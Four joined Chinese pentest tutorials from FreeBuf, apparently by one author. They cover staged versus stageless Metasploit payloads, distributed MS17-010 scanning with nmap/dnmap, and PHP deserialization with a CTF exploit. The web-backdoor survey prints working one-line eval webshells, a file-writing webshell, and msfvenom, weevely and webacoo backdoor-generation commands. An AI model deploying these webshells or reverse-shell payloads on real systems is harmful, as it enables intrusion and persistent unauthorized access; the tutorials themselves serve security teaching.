*本文作者:你会忘了我,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

前言

你们是否发现msf的payload中,经常会看见一对对长得特别像的兄弟?

​我第一次学习metasploit的时候,可能和大家的开场方式一样,试用08067的漏洞来攻击一台windows xp获取一个meterpreter shell。那个时候几乎没怎么变过的使用reverse_tcp连接,但是有一天…

payload/windows/x64/meterpreter/reverse_tcp                               normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager

payload/windows/x64/meterpreter_reverse_tcp                               normal  No     Windows Meterpreter Shell, Reverse TCP Inline x64

​我发现了一对双胞胎,他们长得几乎一模一样,但是我从来没有见过别人使用他的另一个小兄弟,所以这篇文章,我就想和大家聊聊metasploit payload模式背后的秘密。

​我们就以这个常用的meterpreter reverse_tcp来举例,其实这两个payload的区别从官方介绍上的话,我们可以发现两个比较重要的词语来阐述他们的不同inlinestager,其实,用metasploit官方的说法来说,他们第一个payload属于stage模式,第二个payload属于stageless模式,那他们之间具体有什么区别呢?

我们还是使用经典的08067来介绍,下面是我们的模块配置信息:

Stage

msf5 exploit(windows/smb/ms08_067_netapi) > show options 

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   192.168.1.2      yes       The target address range or CIDR identifier
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     0.0.0.0          yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

Attacking Mechina

当我们使用metasplit的ms08_067_netapi模块之后,使用payload/windows/meterpreter/reverse_tcp模块,并开启一个multi/handler连接监听着我们本机的4444端口,有了解过缓冲区溢出的同学可能都知道,攻击者会利用软件的某个缺陷来传输一段很长的shellcode来溢出目标的缓冲区,从而控制EIP指针来跳转到我们的shellcode上,执行我们的代码,但是这段shellcode并不能过长,shellcode过长,可能会导致覆盖到了上一函数栈帧的数据,导致异常的发生。所以像我们攻击者最希望就是生成一段短小精悍的shellcode啦。

Attacking Mechina

像这张图,我们攻击机像目标靶机发送了一段shellcode,并覆盖了EIP,导致程序执行的时候跳回shellcode的开头,从而控制程序的执行情况,执行我们的恶意代码,这段恶意代码就只要干两件事,第一件事就是向内存申请开辟一块空间,第二件事就是回连我们的4444端口,这段shellcode为我们干的事情就好像是一个前排冲锋的战士,打开城墙的大门好让更多的精兵冲进来。我们称这段shellcode为stage0,也就是第一阶段

4

这时,我们的攻击机,已经开始监听4444端口了,只要连接一成功,就会把meterpreter shell最核心的dll文件发送到靶机上

Attacking Mechina

我们之前说过,当靶机运行了我们的shellcode,会在内存里面开辟一块土地,这个地方就是为我们的metsrv留的,metsrv.dll这个文件是meterpreter的核心主件,有了他,我们才能获取到一个meterpreter shell,当metsrv传输成功之后,shellcode就会把控制权转给metsrv,metsrv这时再去请求另外两个dll文件stdapi和priv。这个时候我们一般就会看到一个让人振奋的提示:

msf5 exploit(windows/smb/ms08_067_netapi) > run
[*] Sending stage (206403 bytes) to 10.73.151.75
[*] Starting interaction with 1...

meterpreter >

shell code

Stageless

现在我们知道了meterpreter/reverse_tcp是分阶段的shellcode,并且他分阶段的原因是因为在溢出攻击的时候shellcode应该尽可能保持得更短,这个时候理解他小兄弟meterpreter_reverse_tcp就方便的多,和meterpreter/reverse_tcp不同的是,他的小兄弟meterpreter_reverse_tcp是一个不分阶段的payload,我们称之为stageless(unstage),他在生成的时候就已经将我们获取一个meterpreter必须要用的stdapi已经包含在其中了。那这又有什么好处呢?试想一下,如果我们通过层层的代理,在内网进行漫游,这个时候使用分阶段的payload如果网络传输出现了问题,metsrv.dll没有加载过去,可能就会错失一个shell,stageless的payload会让人放心不少

默认的stageless payload只会包含stageless,所以如果想将stdapi和priv两个组建给包含进去的华我们可以用extensions命令:

msfvenom -p windows/meterpreter_reverse_tcp LHOST=172.16.52.1 LPORT=4444 EXTENSIONS=stdapi,priv -f exe -o stageless.exe

Another Thing

分阶段的payload,我们必须使用exploit/multi/handler这个模块使用,但是当我们想回弹一个基础的shell的时候,其实可以使用nc来监听端口直接回连到nc上,为了测试方便,我直接在已获得session的机器中,注入新的payload来测试:

Target:

use exploit/windows/local/payload_inject
set payload windows/shell_reverse_tcp
set sessions 1
set DisablePayloadHandler True (这个设置是让msf不监听端口)
run

root:~# nc -nvpl 4444

新的payload

当有时获取到了root权限,想反弹linux shell的时候,这时meterprter的需求就不是那么高了,我们就可以使用shell_reverse_tcp(或者是bind)来生成一个stageless的bash脚本,直接使用nc来接受shell

视频演示:

课后作业:

1.在生成一个windows/shell_reverse_tcp的时候,是否需要指定EXTENSIONS=stdapi,priv?

2.meterpreter_reverse_tcp是否可以不用exploit/multi/hander模块,直接用nc来监听获取?

3.在你只有一个windows的反弹shell的时候,反悔想使用meterpreter的shell了,有什么办法来获取呢?

大家在留言处踊跃留言吧,记得加上自己的思考过程,have fun ^_^

REFERER:

https://xz.aliyun.com/t/1709

https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Stageless-Mode

*本文作者:你会忘了我,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

* 本文作者:你会忘了我,本文属FreeBuf原创奖励计划,未经许可禁止转载

0×01 介绍:

微软在2017年3月14日发布了严重的安全公告,公告显示,微软在4013389号补丁中修补了Microsoft Windows的多个漏洞,其中最为严重的就是如果攻击者向 Windows SMBv1 服务器发送特殊设计的消息,那么漏洞可能允许远程执行代码。这个漏洞覆盖之广,导致microsoft专门为Microsoft Windows XP系统专门颁布了修补补丁。也因为漏洞的影响力之广,微软将其安全更新的等级设置为“严重”。

而在一个月之后的4月14日,曾经以入侵了方程式组织(Equation Group是一个被卡巴斯基实验室在一次对震网病毒分析的时候发现的尖端网络犯罪组织,卡巴斯基实验室的安全研究员将其称为世界上最尖端的网络攻击组织之一,方程式组织同震网(Stuxnet)和火焰(Flame)病毒的制造者紧密合作且在幕后操作并提供技术支持)而闻名的黑客组织影子经纪人在steemit.com上公开了一大批NSA(美国国家安全局)“方程式组织” (Equation Group)曾经使用过的一批极具破坏力的黑客工具,其中就包括了可以远程攻破全球约70%Windows机器的漏洞利用工具,也就是ms17-010的exp。一夜之间,全世界70%的windows服务器处在危险之中,国内使用windows服务器的高校、国企甚至政府机构都不能幸免。随后爆发的勒索病毒,对高校、国企、政府等行业都带来了巨大的损失。

0×02 nmap参数配置

nmap是一个采用GPL许可的开源扫描器,在最初的时候nmap只是一个网络扫描和嗅探工具包。2009年7月17日nmap发布了里程碑式的5.0版本。新的5.0版本因为支持了nse插件,使得nmap能够进行更复杂的软件版本检测,脆弱性测试和一些漏洞的利用。黑客和网络管理员可以通过nmap很方便的发现网络中存活的主机和主机开放的端口,利用指纹信息来判断端口绑定的服务的版本号。甚至利用nmap的nse脚本进行漏洞扫描操作。

但是nmap也有自己的缺陷,在笔者扫描大网段的时候常常牵涉到几千台主机,这个时候如果使用单个节点进行扫描,耗费的时间会相对较多。而nmap在扫描大量资源的时候会有卡死的情况发生。所以这篇文章主要探讨尝试结合nse插件和dnmap工具来用nmap进行一个分布式的漏洞检测。

在Kali Linux中,nmap的扫描脚本存储在/usr/share/nmap/scripts这个目录中

使用 lc -l | wc -l命令可以看见在更新到目前最新的版本7.6.0之后,共有581个扫描脚本可以使用,当配合上nmap扫描探测能力比较快速的特点。结合上分布式的漏洞检测方式在对大规模的集群进行扫描时可以获得相对更快的扫描速度和准确率。

在大型的网络环境中,对数以万计的服务器进行扫描筛查一直是网络管理员所头疼的弊病nmap中的smb-vuln-ms17-010.nse脚本可以用来批量的检测网段中的windows主机是否存在Miscrosoft Windows ms17-010漏洞。

nmap参数的构造:

假设我们要扫描的网段为192.168.124.0/24,其中192.168.124.20-52是linux服务器,192.168.124.220-250是已知还未分配的IP。其余的都是windows主机和服务器。

因为我们已经知道了windows主机的IP范围,所以我们可以使用-Pn来取消nmap来使用ping来探测目标主机是否存活直接进行检测,也可以防止因为禁ping造成nmap以为主机未存活而跳过扫描。

sS是半开放的TCP扫描,因为不进行完整的TCP连接所以扫描的速度会快一些

T参数是指定nmap的扫描速度,一共有1-5档可以选择,速度越快也越容易被入侵检测设备发现

因为在扫描大范围地址段的时候有可能会在扫描某个IP的时候卡住,可以用–host-timeout来设定一个延时,在这里我选择一个IP延时10秒

我们还可以加上-n参数来取消nmap进行DNS反向解析来增加扫描的速度

加上这些参数,我们的nmap扫描语句就是下面这样:

nmap -sS -Pn -n -p 445 -T4 192.168.124.0/24 --exclude 192.168.124.20-52 
192.168.124.220-250 --script=smb-vuln-ms17-010.nse --host-timeout=10s

0×03 dnmap参数配置

dnmap是一个用python写的进行分布式扫描的nmap扫描框架,我们可以用dnmap来通过多个终端发起一个大规模的扫描,dnmap采用C/S结构。

用户在服务器端设定好nmap执行的命令,dnmap会自动的分配给客户端进行扫描,并将扫描结果提交给服务器。

dnmap有两个可执行文件,分别是dnmap_client何dnmap_server。在进行一个分布式namp扫描之前,我们可以用dnmap_server来生成一个dnmap的服务端,然后在其他机器用dnmap_client进行连接。然后就能进行分布式的nmap扫描了。

这里我们可以使用Kali Linux,自带有dnmap。也可以使用阿里云等云虚拟机等进行搭建

当然dnmap也可以在sourceforge上下载

为了保证dnmap服务端和客户端的连接安全,dnmap默认采用了TLS加密传输。TLS加密是SSL加密的升级版。SSL可以对通信双方身份进行认证和维护数据完整性,SSL是在socket上二次协商建立的安全通道。SSL刚开始是作为http的扩展,即https,后来因为应用广泛,目前SSL已经成为了一种单独的协议

dnmap中TLS连接的过程图:

clipboard2.png

1 客户端向服务器发送一个Client Hello包,在Client Hello包中会包含Cipher suite、客户端支持的加密算法、客户端随机生成的32字节的随机数,以及一个Session ID

cipher suite是客户端支持的算法以下面的格式发送给服务器:非对称加密算法_对称加密算_Hash

客户端生成的32字节的随机数用来参与秘钥的创建

session ID,默认为0,如果客户端和服务器有通信过session ID就会变化

2 服务器收到客户端发的Client Hello之后会向客户端返回服务器的Server Hello,其中会包含服务器生成的32位的对称秘钥、服务器从客户端支持的加密协议栈中选择的加密协议的版本、cipher suite、压缩算法(可选)

服务器生成的32位的对称秘钥用来进行公私钥的创建

服务器接到客户端发送的session id之后会向客户端发送一个服务器指定的新的session id

3 服务器发完Server Hello之后会继续向客户端发送服务器的公钥证书,因为证书是由证书机构颁发,通过证书机构的私钥签名。客户端收到服务器发送的证书之后通过浏览器中自带的大量证书机构的公钥来进行解密。如果解密成功说明证书是合法的

4 客户端会再次产生一个随机数,用上一步证书中服务器的公钥生成密文发给服务器。如果服务器能用私钥解密就说明建立成功,基于这三个随机数,客户端和服务端都各自独立算出master key。后续的会话秘钥都是由这个master key来加密。后续就变成对称加密来节省服务器的CPU资源

5 客户端继续向服务器发送一个ChangeCipherSpec-Client包来表示客户端后续的通信将全部加密

6 服务端收到客户端的ChangeCipherSpec-Client包后会向客户端发送一个Finished-Server包,其中包含着刚才客户端和服务端发送的所有信息,如果客户端解密成功,则整个握手协商成功,否则整个握手协商就失败并断开连接

因为dnmap自带的用于TLS连接的pem文件证书太过久远,必须要重新生成一个pem证书客户端和服务器才能正常连接。

生成命令:

openssl req -newkey rsa:2048 -new -nodes -x509 -days 3650 -keyout key.pem -out server.pem
cat key.pem >> server.pem
rm -rf key.pem

clipboard3.png

dnmap的参数:

dnmap_server(dnmap的服务端):

-f, 跟一个待会要执行的nmap命令的文件

-p, 指定一个dnmap_clien连接的端口

-L, 输出log文件的名字,默认是 /var/log/dnmap_server.conf.

-l, Log输出的等级,默认是信息级别.

-v, Verbose(输出的信息的等级模式)1-5,默认是1,等级是0时代表不输出.

-t, 设置一个客户端离线重连等待的时长 -s, 对扫描输出的内容进行排序. 选择的关键字: Alias, #Commands, UpTime, RunCmdXMin, AvrCmdXMin, Status

-P, 跟一个用于TLS连接的pem文件,默认是使用随服务器提供的server.pem

dnmap_client的参数:

选项:

-s, 输入dnmap的服务器地址.

-p, dnmap服务的端口号,默认是46001

-a, [可选项]你的名字的别名,我们可以给予你一些帮助

-d, Debuging.

-m, 给nmap扫描最快的速度定一个阈值. 添加一个 –max-rate 参数.

0×04 例子

我们在作为服务端的主机中首先把待会叫执行的nmap命令保存成一个文件

在例子中我保存在execnmap.txt中

clipboard4.png

然后我们在服务端执行dnmap_server -f execnmap.txt -p 4321 -t 60 -P server.pem

clipboard5.png

在客户端执行 dnmap_client -s 10.0.2.15 -p 4321 -a slave1 就可以连接上服务器进行分布式扫描了

clipboard6.png

下面是服务器检测到客户端的连接之后的信息:

clipboard7.png

题外话

因为dnmap是使用python编写的,所以可以很方便得使用django等框架移植成B/S架构,方便使用和管理。有空的时候想基于dnmap和django或者flask写一个开源项目,有兴趣的小伙伴一起组队吗(求私信,大佬们求带)。先定个小目标,先挣他个1000个star

* 本文作者:你会忘了我,本文属FreeBuf原创奖励计划,未经许可禁止转载

* 本文作者:你会忘了我,本文属FreeBuf原创奖励计划,未经许可禁止转载

0×01写在前面

PHP反序列化漏洞虽然利用的条件比较苛刻,但是如果可以利用一般都会产生很严重的后果。在春招的时候很多公司都问过这个问题,说明这个反序列化漏洞的技能点也是很多公司比较关注的技能点。

可是网上的文章基本讲得比较通俗,找了很久也没有找到一篇看完能让人醍醐灌顶的文章。所以想想就自己来总结一篇吧,我觉得要了解PHP反序列化漏洞,应该从这几方面:

什么是反序列化

为什么会产生这个漏洞

在编程的过程中,什么时候会用到序列化这个概念

实例分析

0×02什么是反序列化

在我们讲PHP反序列化的时候,基本都是围绕着serialize(),unserialize()这两个函数。那么什么是序列化呢,序列化说通俗点就是把一个对象变成可以传输的字符串。举个例子,不知道大家知不知道json格式,这就是一种序列化,有可能就是通过array序列化而来的。而反序列化就是把那串可以传输的字符串再变回对象。

直接上例子便于理解:

我们先讲一讲比较简单的序列化,我们就用序列化json来举例子吧。虽然序列化Json和我们讲PHP反序列化的漏洞没有什么关系。但是在理解序列化这个概念和之后的内容会有所帮助

json_encode()

json_decode()

这两个函数,一眼就能看出来是做什么用的吧,直接上例子:

这边有一个book的数组

‘book1′=>’Harry Potter’,

‘book2′=>’MR.Bean’,

‘Book3′=>’Python Cookbook’,

‘Book4′=>’History’

如果我们想传输这个数组怎么办呢,我们就可以请json_encode()这个函数帮助我们将这个数组序列化成一串字符串

所以在这里,我们将数组序列化成json格式的字串的目的就是为了方便传输。我们可以看见,这里json格式来保存数据主要是使用键值对的形式。

好啦,接下来我们要开始深入一步,来讲讲如何把一个对象序列化成一串字符串。

假设,我们写了一个class,这个class里面存有一些变量。当这个class被实例化了之后,在使用过程中里面的一些变量值发生了改变。以后在某些时候还会用到这个变量,如果我们让这个class一直不销毁,等着下一次要用它的时候再一次被调用的话,浪费系统资源。当我们写一个小型的项目可能没有太大的影响,但是随着项目的壮大,一些小问题被放大了之后就会产生很多麻烦。这个时候PHP就和我们说,你可以把这个对象序列化了,存成一个字符串,当你要用的时候再放他出来就好了。

那么,怎么才能把一个对象序列化呢? 来,小二,上个例子:

这里,我们先创了个DemoClass,里面存了点信息,后来我们new了一个实例$example的时候,将这个class里的一些信息给改变了。

如果我们之后还要用到这个实例怎么办呢,我们就先将他序列化存起来,到时候用的时候再放出来就好啦。

是不是很简单,只要用serialize()这个函数就行了

这个时候,我们发现这次序列化出来的格式,和我们上一个序列化json的格式有点不同呢,解释一波:

然后如果反序列化回来的话

0×03 为什么会产生这个漏洞?

那么,问题来了,这么序列化一下然后反序列化,为什么就能产生漏洞了呢?

这个时候,我们就要了解一下PHP里面的魔术方法了,魔法函数一般是以__开头,通常会因为某些条件而触发不用我们手动调用:

在研究反序列化漏洞的时候,碰见这几个魔法函数就要仔细研究研究了:

__construct()当一个对象创建时被调用

__destruct()当一个对象销毁时被调用

__toString()当一个对象被当作一个字符串使用

__sleep() 在对象在被序列化之前运行

__wakeup将在序列化之后立即被调用

这些就是我们要关注的几个魔术方法了,如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了。

举个别人的例子:

<?php
class A{
    var $test = "demo";
    function __destruct(){
            echo $this->test;
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

这里我们只要构造payload:

http://127.0.0.1/test.php?test=O:1:”A”:1:{s:4:”test”;s:5:”hello”;}

就能控制echo出的变量,比如你能拿这个来进行反射型xss。。。(听你扯了半天你就给我看这个)

0×04 实例分析

这里实战一题比较简单的ctf题目

<?php 
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>

可以看见 先是包含了shield.php 然后从中new了个新的实例出来 最后接收用户的反序列化 输出readfile()方法

跟进:

<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

这里我们可以看见只要操控$file这个参数为pctf.php就可以了,这里construct函数在实例被创建的时候(也就是new Shield()的时候)执行,所以不会影响我们对$file的操作

直接构造序列化对象传过去 O:6:”Shield”:1:{s:4:”file”;s:8:”pctf.php”;} 就行了

0×05餐后甜点

更多反序列化的漏洞分析:

http://www.freebuf.com/column/161798.html

http://p0sec.net/index.php/archives/114/

http://paper.tuisec.win/detail/fa497a4e50b5d83

https://www.anquanke.com/post/id/84922

* 本文作者:你会忘了我,本文属FreeBuf原创奖励计划,未经许可禁止转载

在对一个web站点进行渗透测试的渗透攻击阶段,一般会想办法突破上传限制,向目标可执行目录中写入一个带有攻击性质的脚本来协助获取更大的服务器权限。

这里我们就一起来盘点一下常用的web后门吧

大马与小马

在几年前很流行的网站入侵打油诗中有写

  进谷歌 找注入
  没注入 就旁注
  没旁注 用0day
  没0day 猜目录
  没目录 就嗅探
  爆账户 找后台
  传小马 放大马
  拿权限 挂页面
  放暗链 清数据
  清日志 留后门

其中的传小马上大马就是我们要说的小马大马了,小马的功能一般都比较单一,作用一般是向服务器中写入文件数据。因为其功能单一的特性,隐蔽性通常都比较高。有些网站对上传文件大小做了限制,小马因为占用空间也小也能绕过这些限制

这里贴一个php小马

<?php 
header("content-Type: text/html; charset=gb2312"); 
if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v); 
?> 
<form method="POST"> 
保存文件名: <input type="text" name="file" size="60" value="<? echo str_replace('\\','/',__FILE__) ?>"> 
<br><br> 
<textarea name="text" COLS="70" ROWS="18" ></textarea> 
<br><br> 
<input type="submit" name="submit" value="保存"> 
<form> 
<?php 
if(isset($_POST['file'])) 
{ 
$fp = @fopen($_POST['file'],'wb'); 
echo @fwrite($fp,$_POST['text']) ? '保存成功!' : '保存失败!'; 
@fclose($fp); 
} 
?>

大马一般就提供了更多的功能,例如辅助提权,执行sql语句,反弹shell等。

不过网上很多的大马都加了后门,例如图中的这款从mumaasp.com这个网站下载的一款大马会将木马的地址和密码提交到http://www.mumaasp.com/xz/sx.asp这个网址

QQ截图20170327165404.png

中国菜刀

菜刀.png

中国菜刀和一句话木马想必是大家最熟悉的了,中国菜刀支持asp、php、asp.net和jsp等web编程语言,小巧的中国菜刀还自带了很多实用的功能。例如虚拟终端

虚拟终端.png

还有例如安全扫描,定时闹钟,数据库管理等功能,甚至内置了一个网页浏览器

使用方法也很简单,就是往目标web服务器上传相应的一句话木马

asp一句话木马:

<%execute(request("pass"))%>

php一句话木马:

<?php @eval($_POST[pass]);?>

aspx一句话木马:

<%@ Page Language="Jscript"%>

<%eval(Request.Item["pass"])%>

网上也有很多仿冒中国菜刀的官网发布加了后门的中国菜刀

在linux下也有很多替代中国菜刀的开源产品,例如中国蚁剑和C刀

weevely

在kali linux中,我们用的比较多的就是这款php后门管理工具 weevely了。weevely支持的功能很强大,使用http头进行指令传输。唯一的缺陷就是只支持php

weevely.png

我们通过帮助可以看到,weevely的使用还是很简单的,首先我们在/root目录下生成一个名为weevely.php密码为123的backdoor agent

weevely generate 123 /root/weevely.php

然后我们只要上传到目标服务器之后运行

weevely <目标URL> <密码>就能成功连接上了

weehelp.png

metasploit

metasploit框架中其实也自带了php的后门,并且配合meterpreter功能强大

在这里提一下正向连接和反向连接(bind_tcp reverse_tcp)

bind_tcp:在这里黑客主动去连接目标主机,就叫作正向连接。适用的情况是服务器在外网的情况

reverse_tcp:在这个例子中反向连接就是被入侵的主机反过来来连接黑客,就叫作反向连接,在目标服务器在内网或有防火墙的情况下使用。

msfvenom -p php/meterpreter/bind_tcp lhost=172.24.3.20 lport=4444 -o /root/msf.php

其中lhost为目标服务器的地址 lport是目标服务器会开放的端口 -o后面是后门输出的路径

然后进入msfconsole

msf.pngxu

选择exploit/multi/handler这个模块

然后设置payload为php/meterpreter/bind_tcp

最后设置一下目标的ip然后输入run开始监听

触发木马的方法就是访问后门的网址

msfphp.png

然后msfconsole如果有连接信息说明已经连接成功

kaliphp.png

使用方式可以参考meterpreter

参考链接](http://www.evil0x.com/posts/838.html

webacoo

webacoo是用base64编码后隐藏在Cookie头中,隐蔽性较强,webacoo的缺点是不能指定密码,所以。。。不推荐作为持续性攻击的权限维持的选择

webacoo -g -o /root/webacoo.php

生成webacoo.php存放在/root目录下

webacoo.php.png

上传成功之后用命令

webacoo -t -u 来连接

webacookali.png

成功后会生成一个仿真终端,可以使用load命令来加载模块,之后可以进行上传下载,连接数据库等操作。只是不能设置密码是个硬伤。

参考网站:http://www.jb51.net/article/30234.htm

*本文作者:你会忘了我,转载请注明来自FreeBuf